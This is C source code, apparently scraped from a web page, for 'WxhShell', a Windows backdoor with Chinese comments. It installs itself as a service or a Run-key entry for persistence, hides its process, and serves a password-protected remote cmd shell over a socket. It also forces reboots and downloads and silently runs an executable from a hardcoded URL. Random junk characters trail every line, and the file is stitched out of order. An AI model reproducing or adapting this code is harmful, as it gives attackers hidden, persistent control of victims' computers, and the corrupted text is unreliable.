    if(Boot(SHUTDOWN)) X>8,C^~$1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g3z/yj  
    else { y6nP=g|')>  
    closesocket(wsh); 8@;]@c)m  
    ExitThread(0); zMR)w77  
    } q2*A'C  
    break; -NXxxK  
    } !HvA5'|:}  
  // 获取shell eAfi!!Z<  
  case 's': { 1Ng+mT  
    CmdShell(wsh); `Gqe]ZE#"  
    closesocket(wsh); Q,[G?vbj  
    ExitThread(0); SLKpl LO  
    break; Wd:pqhLh  
  } j{%;n40$  
  // 退出 %rylmioW>  
  case 'x': { ]xQv\u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _ocCt XI9  
    CloseIt(wsh); 23wztEp{a  
    break; qD{1X25O  
    } 1uAjy(y  
  // 离开 +nE>)ZH  
  case 'q': { _#u\ar)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f' ?/P~[  
    closesocket(wsh); Q#\Nhc  
    WSACleanup(); d5$D[,`1  
    exit(1); 'OsZD?W{  
    break; 8M99cx*K  
        } VHxBs  
  } ^.6[vmmq  
  } JM3[ yNSN@  
B?! L~J@p  
  // 提示信息 6Ijt2c'A}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t3@+idEb  
} ISGw}#}]?  
  } J!2Z9<q5  
/eI|m9ke  
  return; G&ck98  
} 0 0N[ : %  
P.y +jyu  
// shell模块句柄 AJ\&>6GZ(b  
int CmdShell(SOCKET sock) zmo2uUEd  
{ i "h\*B=  
STARTUPINFO si; w:t~M[kTW  
ZeroMemory(&si,sizeof(si)); $*ff]>#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DZSS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V4[-:k  
PROCESS_INFORMATION ProcessInfo; !Y ,7%  
char cmdline[]="cmd"; AS7L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Az&>.*  
  return 0; \N9=13W<lK  
} P_(8+)ud-  
q&25,zWD  
// 自身启动模式 F\m^slsu7=  
int StartFromService(void) z`wIb  
{ Zw]"p63eMa  
typedef struct l7|z]v-  
{ wZ(1\ M(  
  DWORD ExitStatus; fz(YP=@ZnP  
  DWORD PebBaseAddress; #EH=tJgO|J  
  DWORD AffinityMask; ;|q<t  
  DWORD BasePriority; C?\(?%B  
  ULONG UniqueProcessId; \O5L#dc#  
  ULONG InheritedFromUniqueProcessId; Anz{u$0M[  
}   PROCESS_BASIC_INFORMATION; qYK^S4L  
DpRMXo[  
PROCNTQSIP NtQueryInformationProcess; W_W!v&@E=  
NiZfaC6V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rl Oy,/-<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2:38CdkYp  
g(@F`W[  
  HANDLE             hProcess; ^Hx}.?1  
  PROCESS_BASIC_INFORMATION pbi; e9{ii2M  
$ VT)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |'h (S|  
  if(NULL == hInst ) return 0; L/i'6(="  
z@,pT"rb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1}d F,e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Va8 }JD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )ros-d p`  
LCivZ0?|X  
  if (!NtQueryInformationProcess) return 0; v \:AOY'  
\n{# r`T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tm~9XFQ<  
  if(!hProcess) return 0; 0>28o.  
;/Hr ZhOE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "*bLFORkq'  
K(+=V)'Dz  
  CloseHandle(hProcess); UD-+BUV  
L^JU{\C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QLJ\>  
if(hProcess==NULL) return 0; ]64Pk9z=  
tx09B)0  
HMODULE hMod; ji/`OS-iq  
char procName[255]; }F>RI jj  
unsigned long cbNeeded; s~Eo]e  
k=s^-Eiu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  ``/L18  
% !@E)%d0  
  CloseHandle(hProcess); !]F`qS>  
A[l )>:  
if(strstr(procName,"services")) return 1; // 以服务启动 QRju9x  
`y>m >j  
  return 0; // 注册表启动 TAYh#T=S  
} [j6]!p]S$  
V D#q\  
// 主模块 sl$6Zv-l%0  
int StartWxhshell(LPSTR lpCmdLine) 9C7Npf?~M  
{ R>bg3j  
  SOCKET wsl; mnA_$W3~I  
BOOL val=TRUE; Vh0cac|X  
  int port=0; -5*OSA:8x  
  struct sockaddr_in door; _ s 3aaOL  
O~5t[  
  if(wscfg.ws_autoins) Install(); D"4*l5l  
f&vMv.  
port=atoi(lpCmdLine); !KI^Z1dP(  
Fg`<uW]TFZ  
if(port<=0) port=wscfg.ws_port; p*<Jg l  
/we]i1-9  
  WSADATA data; -53c0g@X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lat5n&RP Y  
n.l#(`($4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Uh.swBC n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :q/s%`ob  
  door.sin_family = AF_INET; o(tJc}Mh+(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @fA{;@N  
  door.sin_port = htons(port); CbZ;gjgY*  
vAM1|,U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lf-.c$.>  
closesocket(wsl); 6.]~7n  
return 1; 'd N1~Pa  
} #w''WOk@ZG  
f>Rux1Je4  
  if(listen(wsl,2) == INVALID_SOCKET) { x_3B) &9  
closesocket(wsl); Ry +?#P+  
return 1; @x1cV_s[  
} ;L$ -_Z  
  Wxhshell(wsl); -7!L]BcZ.  
  WSACleanup(); V?OTP&+J%  
p-j6H  
return 0; +&\. ]Pp  
N_92,xI#  
} ,~3rY,y-  
^P,Pj z  
// 以NT服务方式启动 S/oD`   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XVN JK-B  
{ %vO(.A+  
DWORD   status = 0; `\@n&y[`7  
  DWORD   specificError = 0xfffffff; :?UcD_F  
<oXBkCi0r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3[Q7'\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |cd "cx+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W$X/8K bn  
  serviceStatus.dwWin32ExitCode     = 0; Fug4u?-n  
  serviceStatus.dwServiceSpecificExitCode = 0; X0L \Ewm  
  serviceStatus.dwCheckPoint       = 0; o_}?aI~H  
  serviceStatus.dwWaitHint       = 0; '9QEG/v  
%e[E@H7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #|T"6jJaQ  
  if (hServiceStatusHandle==0) return; t;+b*S6D  
j3&q?1  
status = GetLastError(); -~c-mt  
  if (status!=NO_ERROR) Q&0`(okb  
{ F=Xb_Gd`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; </kuJh\  
    serviceStatus.dwCheckPoint       = 0; *ELU">!}G  
    serviceStatus.dwWaitHint       = 0;  j=pg5T  
    serviceStatus.dwWin32ExitCode     = status; v2tVq_\AMx  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8d$|JN;)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xbi\KT`~  
    return; XZN@hXc9:v  
  } T 9`AL  
jW7ffb `O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kMW9UUw  
  serviceStatus.dwCheckPoint       = 0; )*_G/<N) |  
  serviceStatus.dwWaitHint       = 0; .(/HUQn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aA$\iFYA  
} ,|z@ Dy  
7(D)U)9h  
// 处理NT服务事件,比如:启动、停止 Pek[j)g}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FI:H/e5[  
{ Zrwd  
switch(fdwControl) jvv=  
{ wdt2T8`I/  
case SERVICE_CONTROL_STOP: $hc=H  
  serviceStatus.dwWin32ExitCode = 0; &bq1n_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i\;ZEM{  
  serviceStatus.dwCheckPoint   = 0; Y'000#+  
  serviceStatus.dwWaitHint     = 0; +-b'+mF  
  { 6|lsG6uf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Sk~m4fj(  
  } w;Azxcw  
  return; %AJ9fs4/  
case SERVICE_CONTROL_PAUSE: ;07$G+['  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xl1%c7r.1  
  break; kI a16m  
case SERVICE_CONTROL_CONTINUE: 9:g A0Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xtCMK1# x  
  break; J;<dO7j5  
case SERVICE_CONTROL_INTERROGATE: fn/?I \  
  break; s#<fj#S  
}; t{B@k[|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z^Um\f   
} Z796;qk  
u[KxI9Q  
// 标准应用程序主函数 >VZxDJ$R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v .*fJ   
{ 4S*ifl  
<B T18u\  
// 获取操作系统版本 Kn3Xn`P?  
OsIsNt=GetOsVer(); qi/k`T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 74N_>1!j  
$aEv*{$y  
  // 从命令行安装 I*j~5fsS'  
  if(strpbrk(lpCmdLine,"iI")) Install(); }fk3a9j9u  
T}z? i  
  // 下载执行文件 x]`F#5j  
if(wscfg.ws_downexe) { >&fD:y'&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Kg~D~ +j  
  WinExec(wscfg.ws_filenam,SW_HIDE); e}-fGtFx  
} 66-\}8f8a  
y$nI?:d  
if(!OsIsNt) { O13]H"O_  
// 如果时win9x,隐藏进程并且设置为注册表启动 `%~}p7Zu  
HideProc();  z9&j  
StartWxhshell(lpCmdLine); Ax\d{0/oL2  
} _\yR/W~  
else LmyaC2  
  if(StartFromService()) Uc_ }="  
  // 以服务方式启动 g$2#TWW5  
  StartServiceCtrlDispatcher(DispatchTable); &ZMQ]'&  
else |wJdp,q R  
  // 普通方式启动 $bp$[fX(e  
  StartWxhshell(lpCmdLine); sqpo5~  
}D!tB  
return 0; .fqy[qrM  
} L'a+1O1q&i  
oCE'@}s.i  
LUxDP#~7  
W$wX[  
=========================================== &b^_~hB:q  
i,"Xw[H*s  
$?!]?{K  
x6JV@wA&  
"oiN8#Hf  
;X]B0KFe7  
" qT$IV\;_  
'hWA&Xx +  
#include <stdio.h> `-CN\  
#include <string.h> "9^b1UH<  
#include <windows.h> d0}(d Gl  
#include <winsock2.h> bh5P98s  
#include <winsvc.h> W tw,YFT  
#include <urlmon.h> 6wu`;>  
f?^-JZ  
#pragma comment (lib, "Ws2_32.lib") dZIbajs'  
#pragma comment (lib, "urlmon.lib") r?Mf3U^G  
:4)x  
#define MAX_USER   100 // 最大客户端连接数 ks phO-  
#define BUF_SOCK   200 // sock buffer :qqG%RB  
#define KEY_BUFF   255 // 输入 buffer nu+^D$ait  
>WZbb d-  
#define REBOOT     0   // 重启 w^zqYGxG)  
#define SHUTDOWN   1   // 关机 tA4Ra,-c  
n6,YA2yZO  
#define DEF_PORT   5000 // 监听端口 6^J[SQ6P  
;{H Dz$  
#define REG_LEN     16   // 注册表键长度 0U/[hG"DKN  
#define SVC_LEN     80   // NT服务名长度 KyT=:f V  
zd8A8]&-  
// 从dll定义API a;KdkykG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JW><&hY$"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oL R/\Y(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2V% z=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &d6ud |  
l=T;hk  
// wxhshell配置信息 ct|0zl~  
struct WSCFG { {*n<A{$[ m  
  int ws_port;         // 监听端口 X%<qHbKB,  
  char ws_passstr[REG_LEN]; // 口令 ed5oN^V.<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1E||ft-1i*  
  char ws_regname[REG_LEN]; // 注册表键名 XNx$^I=  
  char ws_svcname[REG_LEN]; // 服务名 EUI*:JU-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q\IViM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;*zLf 9i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5*A5Y E-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^1c7\"{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RFS} !_t+|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1k:yU(  
6~ y'  
}; KC; o   
[/*;}NUv  
// default Wxhshell configuration 2brY\c F  
struct WSCFG wscfg={DEF_PORT, r{d@74  
    "xuhuanlingzhe", CeOA_M  
    1, Go:(R {P  
    "Wxhshell", S9$,.aq  
    "Wxhshell", 3)CIqN  
            "WxhShell Service", ayn aV  
    "Wrsky Windows CmdShell Service", 2/t;}pw8  
    "Please Input Your Password: ", j>\rs|^O  
  1, Z@x&  
  "http://www.wrsky.com/wxhshell.exe", cs\=8_5  
  "Wxhshell.exe" t 3N}):  
    }; [S]q'c)  
44~ReN}`  
// 消息定义模块 EI?8/c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vv Y?8/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,KM%/;1Dm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _hl| 3 eW5  
char *msg_ws_ext="\n\rExit."; OMmfTlM%  
char *msg_ws_end="\n\rQuit."; ; \co{_&D  
char *msg_ws_boot="\n\rReboot..."; ?-Of\fNu  
char *msg_ws_poff="\n\rShutdown..."; =,ax"C?pR  
char *msg_ws_down="\n\rSave to "; z<!A;.iD  
r6Vw!^]8u8  
char *msg_ws_err="\n\rErr!"; ;aD~1;q  
char *msg_ws_ok="\n\rOK!"; \VIY[6sn\M  
G8w@C  
char ExeFile[MAX_PATH]; mYJ8O$  
int nUser = 0; uMG y-c  
HANDLE handles[MAX_USER]; jCtk3No  
int OsIsNt; ZGX"Vn|YL  
,#;`f=aqTG  
SERVICE_STATUS       serviceStatus; oF+yh!~mM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UJp'v_hN  
KLG.?`h:  
// 函数声明 r8*xp\/  
int Install(void); !WGQ34R{  
int Uninstall(void); .j,xh )v"  
int DownloadFile(char *sURL, SOCKET wsh); fk?!0M6d  
int Boot(int flag); X1}M_h %  
void HideProc(void); <W3p!  
int GetOsVer(void); T>1#SWQ/9  
int Wxhshell(SOCKET wsl); @V^.eVM\R  
void TalkWithClient(void *cs); $U7/w?gc'  
int CmdShell(SOCKET sock); hmLI9TUe6  
int StartFromService(void); Kc^ctAk7;  
int StartWxhshell(LPSTR lpCmdLine); P%yL{  
 Jn|<G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^9hc`.5N&?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -*w2<DCn  
q3/4l%"X  
// 数据结构和表定义 ^fd*KM  
SERVICE_TABLE_ENTRY DispatchTable[] = Ho/tCU|w  
{ O\;Lb[`lb  
{wscfg.ws_svcname, NTServiceMain}, a(O@E%|u  
{NULL, NULL} <bCB-lG*Kb  
}; 6K8v:yYPa  
6?US<<MQ  
// 自我安装 Fq+Cr?-  
int Install(void) $(0<T<\  
{ fM]nP4K`  
  char svExeFile[MAX_PATH]; G='`*_$  
  HKEY key; .^F&6'h1H  
  strcpy(svExeFile,ExeFile); e'G3\h}#  
F:<+}{Av  
// 如果是win9x系统,修改注册表设为自启动 >#mKM%T2MJ  
if(!OsIsNt) { :$yOic}y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a}VR>!b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OraT$lV)_  
  RegCloseKey(key); d!&LpODI]*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0]DX KI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RDQ]_wsyKG  
  RegCloseKey(key); im:[ViR {  
  return 0; q\!"FDOl4  
    } 3kGg;z6  
  } hTby:$aCg  
} a8[%-eW,  
else { Z(4/;v <CT  
j&A9 &+w  
// 如果是NT以上系统,安装为系统服务 u}R|q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MxGQM>  
if (schSCManager!=0) a>8] +@  
{ l1 08.ao  
  SC_HANDLE schService = CreateService G&wYV[Ln  
  ( x?0(K=h,  
  schSCManager, p.4Sgeh#  
  wscfg.ws_svcname, ^HP$r*  
  wscfg.ws_svcdisp, ;*Y+.?>a  
  SERVICE_ALL_ACCESS, t*BCpC }  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *)\y52z  
  SERVICE_AUTO_START, 5$Kv%U  
  SERVICE_ERROR_NORMAL, x3 Fn'+  
  svExeFile, =r`E%P:  
  NULL, Eqny'44  
  NULL, 4TU\SP8sM  
  NULL, ?_S);  
  NULL, bfJ<~ss/  
  NULL SU7,uxF  
  ); xK1w->[  
  if (schService!=0) |4aU&OX  
  { 5f@&XwD9  
  CloseServiceHandle(schService); ,T  3M  
  CloseServiceHandle(schSCManager); V+0pvgS[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {~EsO1p  
  strcat(svExeFile,wscfg.ws_svcname); sKiy 1Ww  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {}" <  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d--6<_q  
  RegCloseKey(key); eK3d_bF+  
  return 0; 4T)`%Oo<}  
    }  UiK)m:NU  
  } 8r,0Qic2K  
  CloseServiceHandle(schSCManager); T|YMU?4  
} Z>1yLt@ls  
} ,FRa6;  
XNvlx4  
return 1; K;\fJ2ag  
} 0H}O6kU  
4.kn , s  
// 自我卸载 M M @&QaK  
int Uninstall(void) T0@<u  
{ yG#x*\9  
  HKEY key; @Y9tkJIt  
5wvh @Sc\  
if(!OsIsNt) { 9Z 6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hG9Mp!d91  
  RegDeleteValue(key,wscfg.ws_regname); vHPsHy7y  
  RegCloseKey(key); @2$Uk!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^\VVx:]  
  RegDeleteValue(key,wscfg.ws_regname); ]nxSVKE4p  
  RegCloseKey(key); XK0lv8(  
  return 0; ?LvxEQ-g  
  } TPN1Rnt0`  
} [*ug:PG  
} $9Xn.,W  
else { 1':};}dCJ  
Y|-&=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8k Sb92  
if (schSCManager!=0) /(s N@kt  
{ ldaT: er9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cft@s Y  
  if (schService!=0) f.vJJa  
  { J6zU#  
  if(DeleteService(schService)!=0) { C6tfFS3bq  
  CloseServiceHandle(schService); 7.yCs[Z  
  CloseServiceHandle(schSCManager); hx~rq `{  
  return 0; q(#,X~0  
  } u~N'UD1x  
  CloseServiceHandle(schService); #K> Ue>hx  
  } \/m-G:|  
  CloseServiceHandle(schSCManager); j3 @Q  
} 3?&P^{  
} %~Wr/TOt+  
lj *=bK  
return 1; [RDY(}P%  
} V )oKsO  
'?mky,:HT  
// 从指定url下载文件 @_#]7  
int DownloadFile(char *sURL, SOCKET wsh) qs (L2'7/  
{ Nfl5tI$U:  
  HRESULT hr; 0SZ:C(]  
char seps[]= "/"; 5S7ATr(*  
char *token; BUBtK-n~"3  
char *file; .z,`{-7U  
char myURL[MAX_PATH]; 2.a{,d  
char myFILE[MAX_PATH]; fhki!# E8M  
91FVe  
strcpy(myURL,sURL); QA~Lm  
  token=strtok(myURL,seps); wI[J>9Qn  
  while(token!=NULL) .  
  { Oj7).U0;#  
    file=token; 5*y6{7FLp  
  token=strtok(NULL,seps); KM oDcAjH  
  } # *7ImEN  
 zK:2.4  
GetCurrentDirectory(MAX_PATH,myFILE); 6ZC~q=my  
strcat(myFILE, "\\"); \%#luk@:  
strcat(myFILE, file); Oh7wyQiV  
  send(wsh,myFILE,strlen(myFILE),0); :-+j,G9 t  
send(wsh,"...",3,0); .7Itbp6=R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qi1#s,  
  if(hr==S_OK) 6s:  
return 0; q:,ck@-4  
else P`n"E8"ab<  
return 1; Y^5)u/Y=U  
TI^X gl~  
} 3pkx3tp{  
C^ ~[b o  
// 系统电源模块 `6*1mE1K&  
int Boot(int flag)  1W>0  
{ R+=Xr<`%U|  
  HANDLE hToken; O]9PYv=^  
  TOKEN_PRIVILEGES tkp; %/K;!'7  
Mbxrj~ue  
  if(OsIsNt) { TzV~I\a|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iB{l:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q2t>E(S  
    tkp.PrivilegeCount = 1; s#(<zBZ9p#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 69``j{Z+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JZ"XrS0?  
if(flag==REBOOT) { 4m_CPe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DV~g  
  return 0; K=J">^uW  
} 3TT?GgQ  
else { fj y2\J!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \'P79=AU  
  return 0; hh^_Z| 5  
} l`EKL2n  
  } n!?u/[@  
  else { cq 1)b\|  
if(flag==REBOOT) { xcXnd"YYE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9P-I)ZqL  
  return 0; ,@@FAL  
} %uy?@e  
else { SrvC34<7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ia%U;M  
  return 0; '# J/e0o@  
} b5UIX Kim  
} g;</|Z  
pIvr*UzY  
return 1; {9h`h08?z  
} _I #a `G  
yJHFo[wGMJ  
// win9x进程隐藏模块 (!diPwcv  
void HideProc(void) ,mD{4 >7  
{ (fC U+  
h_xzqElZu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MZ <BCRB  
  if ( hKernel != NULL ) (L7%V !  
  { M}!E :bv'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S>EO6z#   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,) 3Eog\-  
    FreeLibrary(hKernel); 0d #jiG  
  } EceD\}  
YR0.m%U,  
return; x`zE#sD  
} kwpbgQ  
jsIT{a*]  
// 获取操作系统版本 SHUn<+/e  
int GetOsVer(void) jRSY`MU}t+  
{ JO|xX<#:  
  OSVERSIONINFO winfo; %`^{Hh`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sj%\lq  
  GetVersionEx(&winfo); hXP'NS`iv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o<i\1<eI  
  return 1; ,V # r  
  else &v&e- |r8;  
  return 0; "I^pb.3  
} "I&,':O+  
sKGR28e  
// 客户端句柄模块 \t']Lf  
int Wxhshell(SOCKET wsl) bc*CP0t|  
{ r>7Dg~)V  
  SOCKET wsh; "P8cgj C  
  struct sockaddr_in client; kk7M$)>d  
  DWORD myID; 8H2A<&3i  
a3E.rr;b  
  while(nUser<MAX_USER) MDOP2y`2i  
{ +>o} R?xj  
  int nSize=sizeof(client); tLe"i>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]MV=@T^8#  
  if(wsh==INVALID_SOCKET) return 1; A$XmO}+  
5$"I Uq*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T Ue=Yj  
if(handles[nUser]==0) LP5@ID2G  
  closesocket(wsh); Xe:e./@  
else hG lRf_{  
  nUser++; |j~{gfpSE  
  } h<IPV'1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )+ 12r6W  
jV|/ C  
  return 0; Nd61ns(N  
} 5vqh09-FB  
>Gi* BB  
// 关闭 socket z)]Br1  
void CloseIt(SOCKET wsh) Id 40yER  
{ {,zn#hU.R  
closesocket(wsh); v[=TPfX0  
nUser--; ^WmP,Xf#  
ExitThread(0); #H/suQZN"g  
} YV/JZc f  
RI-)Qx&!f  
// 客户端请求句柄 2f7]= snCG  
void TalkWithClient(void *cs) z Ud{9B$  
{ z Feo8S  
uUI@!)@2  
  SOCKET wsh=(SOCKET)cs; PvqG5-L~W  
  char pwd[SVC_LEN]; " )/febBS  
  char cmd[KEY_BUFF]; kJG0X%+w  
char chr[1]; 0N4+6k|  
int i,j; m<| *  
y?yWM8  
  while (nUser < MAX_USER) { G7d)X^q!xS  
KPMId`kf  
if(wscfg.ws_passstr) { cuo'V*nWQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u(Y?2R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y SD|#0  
  //ZeroMemory(pwd,KEY_BUFF); 4WZ"8  
      i=0; L&h90Az1W  
  while(i<SVC_LEN) { /yO|Q{C}M8  
\N"=qw^ t  
  // 设置超时 w2e 9Ue~WH  
  fd_set FdRead; +'QE-#%{=  
  struct timeval TimeOut; ^%~ux0%^T  
  FD_ZERO(&FdRead); *HXx;:  
  FD_SET(wsh,&FdRead); f%5 s8)  
  TimeOut.tv_sec=8; ? _Y2'O  
  TimeOut.tv_usec=0;  Vq K/GWg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yUp"%_t0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  /DN!"  
2C_/T8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Z C$DW!-  
  pwd=chr[0]; f<v:Tg.[  
  if(chr[0]==0xd || chr[0]==0xa) { J}37 9  
  pwd=0; bO\E)%zp  
  break; a>XlkkX  
  } T9=55tpG9  
  i++; m*Q*{M_e  
    } bf1EMai"  
^=V b'g3P~  
  // 如果是非法用户,关闭 socket P gK> Z,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (n3MbVi3LU  
} RYem(%jq  
No G`J$D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <m!(eLm+B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 47 *,  
[Uw/;Kyh  
while(1) { z9 )I@P"  
L>Soj|WUy(  
  ZeroMemory(cmd,KEY_BUFF); U|}Bk/0.  
JVk"M=c  
      // 自动支持客户端 telnet标准   ?wQaM3 |^:  
  j=0; =`%"-A  
  while(j<KEY_BUFF) { [W{WfJ-HwG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !<I3^q  
  cmd[j]=chr[0]; S@PAtB5  
  if(chr[0]==0xa || chr[0]==0xd) { "J(W)\  
  cmd[j]=0; T.kQ] h2ZG  
  break; 6e.?L  
  } VL O !hA#  
  j++; +9d]([Lx  
    } Y] "_}  
|'" 17c&  
  // 下载文件 @ATJ|5.gr  
  if(strstr(cmd,"http://")) { ri?>@i-9=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uy^vQ/  
  if(DownloadFile(cmd,wsh)) Q1?09  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s GdlS&08(  
  else \6z_ ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fF*{\  
  } +{F2hEYP  
  else { )r^)e 4UI  
3 2MdDa  
    switch(cmd[0]) { Fv(1A_~IS  
